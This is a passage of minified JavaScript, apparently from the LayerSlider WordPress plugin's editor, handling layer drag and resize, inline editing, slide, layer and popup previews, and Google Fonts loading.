.ui-selected").each((function(){let e=jQuery(this);e.data("originalPosition",{top:parseFloat(e[0].style.top),left:parseFloat(e[0].style.left)})}))},drag:function(e,t){LayerSlider.dragging(t)},stop:function(e,t){var i=[];LayerSlider.dragging(t),jQuery("#lse-workspace .ui-selected:not(.lse-disabled)").each((function(){var e=jQuery(this),t=e.index(),a={left:parseFloat(e[0].style.left),top:parseFloat(e[0].style.top)},r=Math.round(a.top)+"px",s=Math.round(a.left)+"px",l=e.data("originalPosition");LS_activeSlideData.sublayers[t].styles.top=r,LS_activeSlideData.sublayers[t].styles.left=s,i.push({itemIndex:t,undo:{left:l.left+"px",top:l.top+"px"},redo:{left:s,top:r}})})),LS_UndoManager.add("layer.style","LAYER_POSITION",i.reverse()),lsEditor.layers.highlight.enable()}})},dragging:function(e){1===LS_activeLayerIndexSet.length&&(jQuery('lse-layer-settings input[name="top"]').val(Math.round(e.position.top)+"px"),jQuery('lse-layer-settings input[name="left"]').val(Math.round(e.position.left)+"px"))},resizing:function(e,t){var i,a,r,s,l,o,n,d,c,u=t.size.height/t.originalSize.height,p=t.size.width/t.originalSize.width,y=t.originalSize.width/t.originalSize.height,h=[];if($lasso.data("dragDirection")||$lasso.data("dragDirection",1===u?"horizontal":"vertical"),jQuery("#lse-workspace .ui-selected:not(.lse-disabled)").each((function(){i=this,a=jQuery(this),r=a.index(),s=LS_activeSlideData.sublayers[r],layerMedia=s.media||"text",blockLevel=-1!==["img","media","shape","svg","html"].indexOf(layerMedia),h.push(i.tagName.toLowerCase()),n=a.data("originalPosition"),d=a.data("originalSize"),s.styles.top=i.style.top=Math.round((n.top-t.originalPosition.top/LS_previewZoom)*u+t.position.top/LS_previewZoom)+"px",s.styles.left=i.style.left=Math.round((n.left-t.originalPosition.left/LS_previewZoom)*p+t.position.left/LS_previewZoom)+"px",l=Math.round(d.width*p)+"px",o=Math.round(d.height*u)+"px",(s.styles.width||blockLevel)&&(s.styles.width=l),(s.styles.height||blockLevel)&&(s.styles.height=o),a.outerWidth(l),a.outerHeight(o),blockLevel||(c=t.size.width/t.originalSize.width,s.styles["font-size"]=i.style.fontSize=Math.round(c*d.fontSize)+"px",d.lineHeight&&(s.styles["line-height"]=i.style.lineHeight=Math.round(c*d.lineHeight)+"px")),1===LS_activeLayerIndexSet.length&&((s.styles.width||blockLevel)&&jQuery('.lse-layer-style-panel input[name="width"]').val(i.style.width),(s.styles.height||blockLevel)&&jQuery('.lse-layer-style-panel input[name="height"]').val(i.style.height),jQuery('.lse-layer-style-panel input[name="top"]').val(i.style.top),jQuery('.lse-layer-style-panel input[name="left"]').val(i.style.left),jQuery('.lse-layer-style-panel input[name="font-size"]').val(parseInt(s.styles["font-size"])),d.lineHeight&&jQuery('.lse-layer-style-panel input[name="line-height"]').val(parseInt(s.styles["line-height"])))})),!blockLevel)switch($lasso.data("dragDirection")){case"horizontal":t.size.height=t.size.width/y;break;case"vertical":t.size.width=t.size.height*y}$lasso.attr({"data-info-0":"w: "+Math.round(t.size.width/LS_previewZoom)+"px","data-info-1":"h: "+Math.round(t.size.height/LS_previewZoom)+"px"}),lsEditor.layers.transformHelper.update()},highlightPreviewItem:function(e){var t=jQuery(e).data("layerIndex");LS_previewArea.children(".ls-l").eq(t).addClass("lse-highlighted").siblings().addClass("lse-lowlighted")},selectPreviewItem:function(e,t){if(LS_previewArea.children().removeClass("lse-highlighted lse-lowlighted"),t.ctrlKey||t.metaKey){var i=LS_previewArea.children().eq(e);LS_previewWrapper.triggerHandler(jQuery.Event("mousedown.ls",{target:i[0],which:1,shiftKey:t.shiftKey,ctrlKey:t.ctrlKey,metaKey:t.metaKey}))}else if(JSON.stringify(LS_activeLayerIndexSet)!=="["+e+"]")return LayerSlider.selectLayer([e])},editLayerToggle:function(){if(1===LS_activeLayerIndexSet.length){var e=jQuery(".lse-editing"),t=LS_previewItems[LS_activeLayerIndexSet[0]];e.length?this.editLayerEnd(e):this.editLayerStart(t)}},editLayerStart:function(e){var t=(i=LS_activeLayerDataSet[0]).media;if(e.is("img")||"img"===t)return jQuery(".lse-layer-image").click(),!1;if("icon"===t)return jQuery(".lse-replace-icon-layer").last().click(),!1;if("media"===t)return LS_InsertMedia.open(),!1;if("shape"===t){new LS_ShapeEditor(LS_activeLayerDataSet[0].html,LS_activeLayerDataSet[0].shapeData,LS_activeLayerIndexSet[0]);return!1}if("svg"===t)return LS_SVGChooser.open(i.html),!1;LayerSlider.selectLayer([e.index()]);var i=LS_activeLayerDataSet[0];if(e.hasClass("lse-disabled")||i.locked)return!1;e.addClass("lse-disabled lse-editing").prop("contenteditable",!0).html(e.text()).focus(),LS_quickEditLayerIndex=LS_activeLayerIndexSet[0],$lasso.addClass("ui-resizable-disabled").hide(),jQuery("#lse-layer-content").data("prevVal",i.html),requestAnimationFrame((()=>{let t=document.createRange(),i=window.getSelection();t.selectNodeContents(e[0]),i.removeAllRanges(),i.addRange(t)})),jQuery(document).on("click.lse-editing",(function(e){jQuery(e.target).hasClass("lse-editing")||LayerSlider.editLayerEnd(jQuery(".lse-editing"))}))},editLayer:function(e){if((e.shiftKey||e.metaKey||e.ctrlKey||e.altKey)&&13===e.which&&(e.preventDefault(),window.getSelection)){var t=window.getSelection(),i=t.getRangeAt(0),a=document.createElement("br");i.deleteContents(),i.insertNode(a),i.setStartAfter(a),i.setEndAfter(a),i.collapse(!1),t.removeAllRanges(),t.addRange(i)}},editLayerUpdate:function(e){var t=e.innerHTML,i=jQuery("#lse-layer-content"),a=LS_activeLayerDataSet[0].styles;t=(t=(t=t.replaceAll("<br>","\n")).replaceAll("<br/>","\n")).replaceAll("&amp;","&"),i.val(t),LS_activeLayerDataSet[0].html=t,LayerSlider.setPositions(jQuery(e),a.top,a.left),LayerSlider.autoRenameLayer(LS_activeLayerIndexSet[0])},editLayerPaste:function(e){e.preventDefault(),document.execCommand("insertHTML",!1,e.originalEvent.clipboardData.getData("text/plain"))},editLayerEnd:function(e){jQuery(document).off("click.lse-editing"),e.prop("contenteditable",!1).removeClass("lse-disabled lse-editing"),jQuery("#lse-layer-content").trigger("change"),LayerSlider.generateSelectedPreviewItems(),LayerSlider.generatePreviewItem(LS_quickEditLayerIndex),LayerSlider.setActiveLayerMedia()},reindexLayers:function(e){var t=LS_activeSlideData.sublayers.length;t=t||0,jQuery("#lse-layers-list > lse-li").each((function(e){var i=jQuery(this).find(".lse-layer-title").val(),a=LS_l10n.SBLayerTitle.substring(0,LS_l10n.SBLayerTitle.length-2);-1!=i.indexOf(a)&&-1==i.indexOf("copy")&&jQuery(this).find(".lse-layer-title").val(LS_l10n.SBLayerTitle.replace("%d",t-e))}))},updateSlidePreviews:function(){jQuery("#lse-slide-tabs .lse-slide-tab").each((function(e){var t=jQuery(this),i=t.find(".lse-slide-preview"),a=t.index(),r=window.lsSliderData.layers[a];r.properties;t.removeClass("lse-empty");var s=r.properties.thumbnail||r.properties.background||"";i.css("background-image","url("+s+")"),s&&-1===s.indexOf("blank.gif")||t.addClass("lse-empty")}))},rebuildSlides:function(){var e,t=window.lsSliderData.layers.reverse(),i=jQuery("#lse-slide-tabs");jQuery(".lse-slide-tab",i).remove(),jQuery.each(t,(function(t,a){e=jQuery(jQuery("#tmpl-slide-tab").text()).prependTo(i),a.properties.title&&e.find(".lse-slide-name input").val(a.properties.title);var r=a.properties.thumbnail||a.properties.background||"";e.find(".lse-slide-preview").css("background-image","url("+r+")"),r&&-1===r.indexOf("blank.gif")||e.addClass("lse-empty"),a.properties.skip&&e.addClass("lse-skip")})),window.lsSliderData.layers.reverse(),jQuery(".lse-slide-tab",i).removeClass("lse-active"),jQuery(".lse-slide-tab",i).eq(LS_activeSlideIndex).addClass("lse-active").length||jQuery(".lse-slide-tab",i).eq(0).addClass("lse-active")},checkMediaAutoPlay:function(e,t,i){clearTimeout(LayerSlider.mediaCheckTimeout),LayerSlider.mediaCheckTimeout=setTimeout((function(){if(-1!==i.indexOf("autoplay")){var t=jQuery(i).filter("iframe"),a=!1;if(t.is("iframe")){var r=t.attr("src").split("?"),s=-1;r[1]&&(params=r[1].split("&"),jQuery.each(params,(function(e,t){-1!==t.indexOf("autoplay")&&(a=!0,s=e)})),s>-1&&params.splice(s,1)),"undefined"!=typeof params&&t.attr("src",r[0]+"?"+params.join("&"))}else(t.is("video")||t.is("audio"))&&(a=!0,t.removeAttr("autoplay"));a&&(e.val(t[0].outerHTML),$autoplay=jQuery('select[name="autoplay"]'),jQuery("option",$autoplay).prop("selected",!1).eq(1).prop("selected",!0),TweenLite.to($autoplay[0],.2,{css:{scale:1.3},onComplete:function(){TweenLite.to($autoplay[0],.2,{css:{scale:1}})}}))}}),100,e,t,i)},startSlidePreview:function(e){if(this.stopLayerPreview(),this.isSlidePreviewActive)return LayerSlider.stopSlidePreview(),!0;this.isSlidePreviewActive=!0,LayerSlider.maybeShowScrollTransitionPreviewWarning(),e=e||{};var t=window.lsSliderData.properties,i=lsEditor.workspace.getSize(),a=[],r=jQuery("lse-live-preview-area").css(i).show();r=jQuery('<div id="lse-preview-timeline" class="ls-wp-container">').appendTo(r),t.sliderclass&&r.addClass(t.sliderclass),LS_previewArea.hide().empty(),LayerSlider.hidePreviewSelection(),this.populateSliderPreview(r,a,{addLayerActions:!0,activeSlideOnly:!1}),e.plugins&&(e.plugins=jQuery.merge(e.plugins,a));var s={type:"responsive",width:i.width,height:i.height,skin:"noskin",skinsPath:pluginPath+"layerslider/skins/",allowFullscreen:!1,firstSlide:LS_activeSlideIndex+1,autoStart:!1,pauseOnHover:!1,startInViewport:!1,autoPlayVideos:!!t.autoplayvideos,slideBGSize:t.slideBGSize,slideBGPosition:t.slideBGPosition,globalBGColor:t.backgroundcolor,globalBGImage:t.backgroundimage,globalBGAttachment:t.globalBGAttachment,globalBGRepeat:t.globalBGRepeat,globalBGPosition:t.globalBGPosition,globalBGSize:t.globalBGSize,parallaxScrollReverse:t.parallaxScrollReverse,playByScroll:!!t.playByScroll,playByScrollStart:!!t.playByScrollStart,playByScrollSkipSlideBreaks:!!t.playByScrollSkipSlideBreaks,playByScrollSpeed:t.playByScrollSpeed||1,navButtons:!1,navStartStop:!1,showCircleTimer:!1,forceLayersOutDuration:t.forceLayersOutDuration||750,allowRestartOnResize:!!t.allowRestartOnResize,preferBlendMode:t.preferBlendMode,sliderFadeInDuration:t.sliderfadeinduration||350,scrollCenterLayers:t.scrollCenterLayers||"center",plugins:a,sliderFadeInDuration:0};t.maxRatio&&(s.maxRatio=t.maxRatio),t.slidebartimer&&!e.timeline&&(s.showSlideBarTimer=!0),t.slideDuration&&(s.slideDuration=t.slideDuration),t.slideTransitionDuration&&(s.slideTransitionDuration=t.slideTransitionDuration),t.slideTimeShift&&(s.slideTimeShift=t.slideTimeShift),e.projectSettings&&(s=jQuery.extend(!0,{},s,e.projectSettings)),r.layerSlider(s)},stopSlidePreview:function(e){if(this.isSlidePreviewActive){this.isSlidePreviewActive=!1,e=e||{},LS_previewArea.show();var t=jQuery("lse-live-preview-area");t.find(".ls-wp-container").layerSlider("destroy",!0),t.hide(),LayerSlider.generatePreview(),LS_Revisions.opened||(LayerSlider.showPreviewSelection(),LayerSlider.updatePreviewSelection())}},loadGoogleFonts:function(e){LS_editorMeta.googleFontsEnabled&&e&&(Array.isArray(e)||(e=[e]),e.forEach((e=>{-1===LS_loadedGoogleFonts.indexOf(e)&&(LS_loadedGoogleFonts.push(e),WebFont.load({google:{families:[e+":100,100i,200,200i,300,300i,400,400i,500,500i,600,600i,700,700i,800,800i,900,900i"]}}))})))},loadProjectGoogleFonts:function(){if(LS_editorMeta.googleFontsEnabled&&window.lsSliderData.googlefonts){let e=window.lsSliderData.googlefonts.map((e=>e.param));LayerSlider.loadGoogleFonts(e)}},loadPreviewGoogleFonts:function(){if(LS_editorMeta.googleFontsEnabled&&window.lsSliderData.googlefonts){let e=jQuery("#lse-project-preview")[0].contentWindow,t=window.lsSliderData.googlefonts.map((e=>e.param));e.loadGoogleFonts&&e.loadGoogleFonts(t)}},reduceGoogleFontList:function(){if(lsSliderData.googlefonts.length){var e=[],t=[];t=(t=lsSliderData.googlefonts.map((function(e){return e.param}))).filter((function(e,t,i){return t===i.indexOf(e)})),jQuery.each(t,(function(t,i){var a=!1;jQuery.each(lsSliderData.layers,(function(t,r){if(jQuery.each(r.sublayers,(function(t,r){if(r.styles&&r.styles["font-family"]&&-1!==r.styles["font-family"].indexOf(i))return a=!0,e.push({param:i}),!1})),a)return!1}))})),lsSliderData.googlefonts=e}},extractLayerFonts:function(e){let t=[];if(e?.styles?.["font-family"]){let i=e.styles["font-family"].split(",");jQuery.each(i,((e,i)=>{(i=(i=(i=(i=i.trim()).replace(/\+/g," ")).replace(/\"/g,"")).replace(/\'/g,""))&&t.push(i)}))}return t},extractSlideFonts:function(e){e=e||LS_activeSlideData;let t=[];return jQuery.each(e.sublayers,((e,i)=>{jQuery.merge(t,LayerSlider.extractLayerFonts(i))})),t=t.filter((function(e,t,i){return t===i.indexOf(e)})),t},extractProjectFonts:function(){let e=[];return jQuery.each(lsSliderData.layers,(function(t,i){jQuery.merge(e,LayerSlider.extractSlideFonts(i))})),e=e.filter((function(e,t,i){return t===i.indexOf(e)})),e},findGoogleFonts:function(e){if(!e||!e.length)return[];let t=[];return LS_FontData.fonts.forEach(((i,a)=>{-1!==e.indexOf(i.family)&&t.push(i.family)})),t},reindexProjectGoogleFonts:function(){let e,t;e=LayerSlider.extractProjectFonts(),e=LayerSlider.findGoogleFonts(e),t=lsSliderData.googlefonts.map((function(e){return e.param})),e.forEach(((e,i)=>{-1===t.indexOf(e)&&(lsSliderData.googlefonts.push({param:e}),LayerSlider.loadGoogleFonts(e))}))},addFontsLoadedEvent:function(){document.fonts&&document.fonts.ready&&window.Promise&&document.fonts.ready.then((function(){jQuery.each(LS_previewItems,(function(e,t){var i=LS_activeSlideData.sublayers[e],a=i.styles.top,r=i.styles.left;LayerSlider.setPositions(t,a,r)})),LayerSlider.updatePreviewSelection(),LS_loadedExternalFonts.length||(LS_loadedExternalFonts=LayerSlider.getExternalFonts())}))},getExternalFonts:function(){let e=document?.fonts?.entries(),t=["dashicons","FontAwesome","Font Awesome"],i=[],a=!1;for(;!a;){const t=e.next();t.done?a=t.done:i.push(t.value[0].family)}return i=[...new Set(i)],i=i.filter((e=>{excludeFont=!1;for(let i=0;i<t.length;i++)-1!==e.toLowerCase().indexOf(t[i].toLowerCase())&&(excludeFont=!0);return!excludeFont})),LS_editorMeta.googleFontsEnabled&&lsSliderData.googlefonts.length&&jQuery.each(lsSliderData.googlefonts,((e,t)=>{if(t.param){let e=i.indexOf(t.param);-1!==e&&i.splice(e,1)}})),i},startTransitionPreview:function(e){var t,i,a=jQuery(e),r=parseInt(a.data("key"))-1,s=a.closest(".lse-transitions-section").data("tr-type");"3d_transitions"==s?(t="3d",i=layerSliderTransitions["t"+t][r]):"2d_transitions"==s?(t="2d",i=layerSliderTransitions["t"+t][r]):"custom_3d_transitions"==s?(t="3d",i=layerSliderCustomTransitions["t"+t][r]):"custom_2d_transitions"==s&&(t="2d",i=layerSliderCustomTransitions["t"+t][r]);let l=jQuery.extend(!0,{},{width:500,height:250,imgPath:"../assets/img/",skinPath:"../layerslider/skins/",transitionType:"2d",transitionObject:null,showCircleTimer:!1,pauseOnHover:!1,skin:"noskin",slidedelay:100,startInViewport:!1},{transitionType:t,transitionObject:i,imgPath:lsTrImgPath,skinsPath:pluginPath+"layerslider/skins/"});l.slideTransition={type:l.transitionType,obj:l.transitionObject};let o=jQuery("#lse-slide-transition-sample");jQuery('<lse-b class="lse-transition-preview-slider" style="width: '+l.width+"px; height: "+l.height+'px;"> \t\t\t\t<lse-b class="ls-slide" data-ls="slidedelay: '+l.delay+';"> \t\t\t\t\t<img src="'+l.imgPath+'sample_slide_1.jpg" class="ls-bg"> \t\t\t\t</lse-b> \t\t\t\t<lse-b class="ls-slide" data-ls="slidedelay: '+l.delay+';"> \t\t\t\t\t<img src="'+l.imgPath+'sample_slide_2.jpg" class="ls-bg"> \t\t\t\t</lse-b> \t\t\t</lse-b>').appendTo(o),o.find(".lse-transition-preview-slider").layerSlider(l)},stopTransitionPreview:function(){var e=jQuery("#lse-slide-transition-sample").find(".lse-transition-preview-slider");e.length&&e.layerSlider("destroy",!0)},maybeShowScrollTransitionPreviewWarning:function(){if(LS_DataSource.projectHasScrollTransition()||LS_DataSource.projectIsScrollScene()){let e=parseInt(localStorage["lse-scroll-transition-preview-warning-count"])||0;(!LS_scrollTransitionPreviewWarningDisplayed||e<5)&&(localStorage["lse-scroll-transition-preview-warning-count"]=++e,LS_scrollTransitionPreviewWarningDisplayed=!0,lsEditor.notify.show({icon:"play-circle",text:LS_l10n.SLScrollTransitionPreviewWarning,timeout:3500}))}},maybeShowScrollSceneSlidesWarning:function(){let e=window.lsSliderData;"scroll"===e.properties.scene&&e.layers.length>1&&lsEditor.bottomNotification.open({uid:"scroll-scene-slides",content:LS_l10n.notifyScrollSceneSlides,color:""})},getPreviewProjectSettings:function(e){e=e||{};var t=window.lsSliderData.properties,i=lsEditor.workspace.getSize();width=parseInt(i.width),height=parseInt(i.height),type=t.type||"responsive",scene=t.scene||!1,plugins="popup"===type?["popup"]:[],e&&e.plugins&&(e.plugins=jQuery.merge(e.plugins,plugins));var a=t.performanceMode;void 0!==t.performanceMode&&"inherit"!==t.performanceMode||(a=!!LS_pluginSettings.performanceMode);var r={type:type,scene:scene,width:width,height:height,popupWidth:width,popupHeight:height,sceneSpeed:t.sceneSpeed,sceneHeight:t.sceneHeight,stickTo:t.stickTo,skin:t.skin,skinsPath:pluginPath+"layerslider/skins/",allowFullscreen:!!t.allowFullscreen,autoStart:!!t.autostart,pauseOnHover:t.pauseonhover,firstSlide:t.firstlayer,shuffleSlideshow:!!t.randomslideshow,navPrevNext:!!t.navprevnext,hoverPrevNext:!!t.hoverprevnext,navStartStop:!!t.navstartstop,navButtons:!!t.navbuttons,hoverBottomNav:!!t.hoverbottomnav,
showBarTimer:!!t.bartimer,showCircleTimer:!!t.circletimer,showSlideBarTimer:!!t.slidebartimer,thumbnailNavigation:t.thumb_nav,tnContainerWidth:t.thumb_container_width,tnWidth:t.thumb_width,tnHeight:t.thumb_height,tnActiveOpacity:t.thumb_active_opacity,tnInactiveOpacity:t.thumb_inactive_opacity,startInViewport:!1,autoPlayVideos:!!t.autoplayvideos,autoPauseSlideshow:t.autopauseslideshow,forceCycles:!!t.forceloopnum,slideBGSize:t.slideBGSize,slideBGPosition:t.slideBGPosition,globalBGColor:t.backgroundcolor,globalBGImage:t.backgroundimage,globalBGAttachment:t.globalBGAttachment,globalBGRepeat:t.globalBGRepeat,globalBGPosition:t.globalBGPosition,globalBGSize:t.globalBGSize,parallaxScrollReverse:t.parallaxScrollReverse,forceLayersOutDuration:t.forceLayersOutDuration||750,allowRestartOnResize:!!t.allowRestartOnResize,preferBlendMode:t.preferBlendMode,sliderFadeInDuration:t.sliderfadeinduration||350,scrollCenterLayers:t.scrollCenterLayers||"center",playByScroll:!!t.playByScroll,playByScrollStart:!!t.playByScrollStart,playByScrollSkipSlideBreaks:!!t.playByScrollSkipSlideBreaks,playByScrollSpeed:t.playByScrollSpeed||1,plugins:plugins,performanceMode:a,performanceModeTreshold:t.performanceModeTreshold||"20sh",popupShowOnce:!0,popupShowOnTimeout:.5,popupCloseOnTimeout:lsSliderData.properties.popupCloseOnTimeout,popupCloseOnSliderEnd:lsSliderData.properties.popupCloseOnSliderEnd,popupDisableOverlay:lsSliderData.properties.popupDisableOverlay,popupShowCloseButton:lsSliderData.properties.popupShowCloseButton,popupCloseButtonStyle:lsSliderData.properties.popupCloseButtonStyle,popupOverlayClickToClose:lsSliderData.properties.popupOverlayClickToClose,popupStartSliderImmediately:lsSliderData.properties.popupStartSliderImmediately,popupFitWidth:lsSliderData.properties.popupFitWidth,popupFitHeight:lsSliderData.properties.popupFitHeight,popupPositionHorizontal:lsSliderData.properties.popupPositionHorizontal,popupPositionVertical:lsSliderData.properties.popupPositionVertical,popupDistanceLeft:lsSliderData.properties.popupDistanceLeft,popupDistanceRight:lsSliderData.properties.popupDistanceRight,popupDistanceTop:lsSliderData.properties.popupDistanceTop,popupDistanceBottom:lsSliderData.properties.popupDistanceBottom,popupDurationIn:lsSliderData.properties.popupDurationIn,popupDurationOut:lsSliderData.properties.popupDurationOut,popupDelayIn:lsSliderData.properties.popupDelayIn,popupTransitionIn:lsSliderData.properties.popupTransitionIn,popupTransitionOut:lsSliderData.properties.popupTransitionOut,popupOverlayBackground:lsSliderData.properties.popupOverlayBackground,popupOverlayDurationIn:lsSliderData.properties.popupOverlayDurationIn,popupOverlayDurationOut:lsSliderData.properties.popupOverlayDurationOut,popupOverlayTransitionIn:lsSliderData.properties.popupOverlayTransitionIn,popupOverlayTransitionOut:lsSliderData.properties.popupOverlayTransitionOut};return t.maxRatio&&(r.maxRatio=t.maxRatio),"hero"===type&&(r.type="fullsize"),t.slideDuration&&(r.slideDuration=t.slideDuration),t.slideTransitionDuration&&(r.slideTransitionDuration=t.slideTransitionDuration),t.slideTimeShift&&(r.slideTimeShift=t.slideTimeShift),t.loops&&(r.cycles=t.loops),jQuery.extend(!0,r,e)},startProjectPreview:function(e){this.stopLayerPreview(),this.stopSlidePreview(),e=e||{};let t=jQuery("#lse-project-preview");$iframeContent=jQuery(t[0].contentDocument),$iframeBody=jQuery($iframeContent[0].body),$sliderWrapper=jQuery("#lse-project-wrapper",$iframeBody),iframeWindow=jQuery("#lse-project-preview")[0].contentWindow,iframejQuery=iframeWindow.jQuery,$sliderWrapper.html(""),LayerSlider.loadPreviewGoogleFonts();let i=LayerSlider.getPreviewProjectSettings();var a=window.lsSliderData.properties,r=a.sliderstyle,s="popup"===a.type?["popup"]:[],l=a.maxwidth||i.width||1920,o=jQuery('<div id="lse-project-preview-content" class="ls-wp-container">').appendTo($sliderWrapper);r&&o.attr("style",r),a.sliderclass&&o.addClass(a.sliderclass),"responsive"===i.type&&o.css("max-width",l),this.populateSliderPreview(o,s,{publishedSlidesOnly:!0,activeSlideOnly:!1,contentWindow:iframeWindow,skipDeviceLayers:!0,addDeviceLayersClasses:!0,addLayerActions:!0,allowScrollTransitions:!0,allowPinnedLayers:!0}),i.plugins=s,i.sliderFadeInDuration=0,e.projectSettings&&(i=jQuery.extend(!0,{},i,e.projectSettings)),iframejQuery("body").attr("data-project-layout",a.type||"responsive").attr("data-project-scene",a.scene||""),iframejQuery("#lse-project-preview-content").on("sliderDidLoad.layerSlider",(function(){jQuery("#lse-make-project-scrollable").is(":checked")&&lsEditor.preview.setProjectScrollable(!0),window.top.lsEditor.loading.hide()})).layerSlider(i)},stopProjectPreview:function(e){e=e||{},(0,jQuery("#lse-project-preview")[0].contentWindow.jQuery)("#lse-project-preview-content").layerSlider("destroy",!0)},startPopupPreview:function(e){this.stopLayerPreview(),this.stopSlidePreview(),e=e||{};var t=window.lsSliderData.properties,i=t.sliderstyle,a="popup"===t.type?["popup"]:[],r=jQuery('<div id="lse-popup-preview" class="ls-wp-container">').appendTo("body");i&&r.attr("style",i),t.sliderclass&&r.addClass(t.sliderclass),this.populateSliderPreview(r,a,{activeSlideOnly:!1,addLayerActions:!0});let s=LayerSlider.getPreviewProjectSettings();s.plugins=a,e.projectSettings&&(s=jQuery.extend(!0,{},s,e.projectSettings)),r.layerSlider(s)},stopPopupPreview:function(e){},populateSliderPreview:function(e,t,i){var a=window.lsSliderData.properties,r=window.lsSliderData.callbacks,s=window.lsPostsJSON||[];if(i=i||{},i=jQuery.extend({firstSlideOnly:!1,publishedSlidesOnly:!1,activeSlideOnly:!0,skipDeviceLayers:!0,addDeviceLayersClasses:!1,addLayerActions:!1},i),jQuery.each(window.lsSliderData.layers,(function(r,l){if(i.activeSlideOnly&&r!==LS_activeSlideIndex)return!0;if(i.firstSlideOnly&&0!==r)return!1;if("project"===lsEditor.preview.state&&LS_DataSource.projectIsScrollScene()&&0!==r)return!1;if(i.publishedSlidesOnly&&l.properties.skip)return!0;var o=l.properties,n=l.sublayers.reverse(),d=o.post_offset;-1==d&&(d=r);var c,u,p=s[d],y="";for(c in o)if(""!==(u=o[c])&&"null"!==u){if("bgsize"===c&&"inherit"===u?u=a.slideBGSize:"bgposition"===c&&"inherit"===u&&(u=a.slideBGPosition),"transitionorigami"===c&&u&&-1===t.indexOf("origami")&&t.push("origami"),-1!==["thumbnail","background"].indexOf(c))continue;y+=c+":"+u+";"}var h=jQuery('<div class="ls-slide">').attr("data-ls",y).appendTo(e),S=o.background;"[image-url]"===S&&(S=p["image-url"]),S&&jQuery('<img src="'+S+'" class="ls-bg">').appendTo(h),o.thumbnail&&jQuery('<img src="'+o.thumbnail+'" class="ls-tn">').appendTo(h);var m=o["2d_transitions"],v=o["3d_transitions"],L=o.custom_2d_transitions,g=o.custom_3d_transitions;m&&h.attr("data-ls",h.attr("data-ls")+" transition2d: "+m+"; "),v&&h.attr("data-ls",h.attr("data-ls")+" transition3d: "+v+"; "),L&&h.attr("data-ls",h.attr("data-ls")+" customtransition2d: "+L+"; "),g&&h.attr("data-ls",h.attr("data-ls")+" customtransition3d: "+g+"; "),jQuery.each(n,(function(e,t){LayerSlider.appendLivePreviewItem(e,t,h,p,i)})),l.sublayers.reverse()})),"desktop"!==LS_activeScreenType&&(i.contentWindow?i.contentWindow.attachProjectEvent("sliderDidLoad.layerSlider","slider.data.device.isMobile = true;"):jQuery(e).on("sliderDidLoad.layerSlider",(function(e,t){t.data.device.isMobile=!0}))),r)for(var l in r){var o=r[l],n=o.indexOf("{")+1,d=o.length-1;if(body=o.substring(n,d),i.contentWindow)i.contentWindow.attachProjectEvent(l,body);else try{jQuery(e).on(l,new Function("event","slider",body))}catch(e){console.error('LayerSlider: Error while calling event "'+l+'":\n\r\n\r',e)}}},startLayerPreview:function(e){this.stopSlidePreview(),e=e||{},this.isLayerPreviewActive&&LayerSlider.stopLayerPreview(e);let t=e.indexSet||LS_activeLayerIndexSet,i=e.dataSet||LS_activeLayerDataSet;if(t.length<1)return;this.isLayerPreviewActive=!0,LayerSlider.maybeShowScrollTransitionPreviewWarning(),LayerSlider.hidePreviewSelection(),LS_previewArea.children().addClass("lse-transparent");var a=jQuery("<div>").addClass("lse-layer-preview-wrapper").appendTo(LS_previewHolder),r=window.lsSliderData.properties,s=LS_activeSlideData.properties,l=s.post_offset;-1==l&&(l=LS_activeSlideIndex);var o,n,d=(window.lsPostsJSON||[])[l],c="";for(o in s){let e=["slidedelay","background","bgcolor"];""!==(n=s[o])&&"null"!==n&&-1===e.indexOf(o)&&(c+=o+":"+n+";")}r.sliderclass&&a.addClass(r.sliderclass),$s1=jQuery("<div>").attr({class:"ls-slide","data-ls":c}).appendTo(a);let u=[],p=[],y=0,h=!1;t.reverse(),i.reverse();for(let e=0;e<i.length;e++){let t=!1;if(!1!==i[e]?.transition?.transitionin)t=!0,p.push("delayin"),u.push(parseFloat(i[e]?.transition?.delayin)||0);else if(i[e]?.transition?.texttransitionin){let a="+"===i[e]?.transition?.textstartatinoperator?i[e]?.transition?.textstartatinvalue:0;t=!0,p.push("textstartatinvalue"),u.push(parseFloat(a)||0)}t||p.push(!1),-1==i[e]?.transition?.loopcount&&(h=!0),i[e].__layerPreview=!0}y=u.length?Math.min(...u):0,window._layerSlider.presetTimeouts={},window._layerSlider.presetIntervals={},jQuery.each(i,(function(i,a){let r=jQuery.extend(!0,{},a);if(p[i])if("delayin"===p[i])r.transition.delayin-=y;else if("textstartatinvalue"===p[i]){let e=r?.transition?.textstartatintiming||"transitioninend",t=r?.transition?.textstartatinoperator||"+",i=r?.transition?.textstartatinvalue||0;i-=y,r.transition.textstartatin=e+" "+t+" "+i}"preset"===e.subState&&e.transitionType&&(r=LayerSlider.convertLayerDataForPresetPreview(r,e.transitionType));let s=LayerSlider.appendLivePreviewItem(i,r,$s1,d);"preset"===e.subState&&e.transitionType&&"hover-transition"===e.transitionType&&(window._layerSlider.presetTimeouts["hoverMouseEnter"+i]=setTimeout((()=>{s.trigger("mouseenter"),window._layerSlider.presetIntervals["hoverMouseEnter"+i]=setInterval((()=>{s.trigger("mouseenter")}),2e3)}),500),window._layerSlider.presetTimeouts["hoverMouseLeave"+i]=setTimeout((()=>{s.trigger("mouseleave"),window._layerSlider.presetIntervals["hoverMouseLeave"+i]=setInterval((()=>{s.trigger("mouseleave")}),2e3)}),1500)),a.__skip=!0,LS_previewItems[t[i]]&&LS_previewItems[t[i]].addClass("lse-invisible")})),t.reverse(),i.reverse();var S=lsEditor.workspace.getSize(),m={inLayerPreview:!0,type:"responsive",width:S.width,height:S.height,skin:"v6",skinsPath:pluginPath+"layerslider/skins/",pauseOnHover:!1,autoPlayVideos:!1,startInViewport:!1,keybNav:!1,navButtons:!1,navStartStop:!1,navPrevNext:!1,sliderFadeInDuration:0,autoPauseSlideshow:!1,layerPreviewPresetType:!("preset"!==e.subState||!e.transitionType)&&e.transitionType};h&&(m.hasInfiniteLoop=!0),"hover-transition"===e.transitionType?a.layerSlider(m):a.layerSlider(m).on("slideTimelineDidComplete.layerSlider",(function(e,t){return t.api("replay"),!1}))},stopLayerPreview:function(e){if(e=e||{},window._layerSlider.presetTimeouts)for(var t in window._layerSlider.presetTimeouts)clearTimeout(window._layerSlider.presetTimeouts[t]),delete window._layerSlider.presetTimeouts[t];if(window._layerSlider.presetIntervals)for(var i in window._layerSlider.presetIntervals)clearInterval(window._layerSlider.presetIntervals[i]),delete window._layerSlider.presetIntervals[i];this.isLayerPreviewActive&&(this.isLayerPreviewActive=!1,LayerSlider.showPreviewSelection(),jQuery.each(LS_activeSlideData.sublayers,(function(t,i){e.willRestart||(delete i.__skip,delete 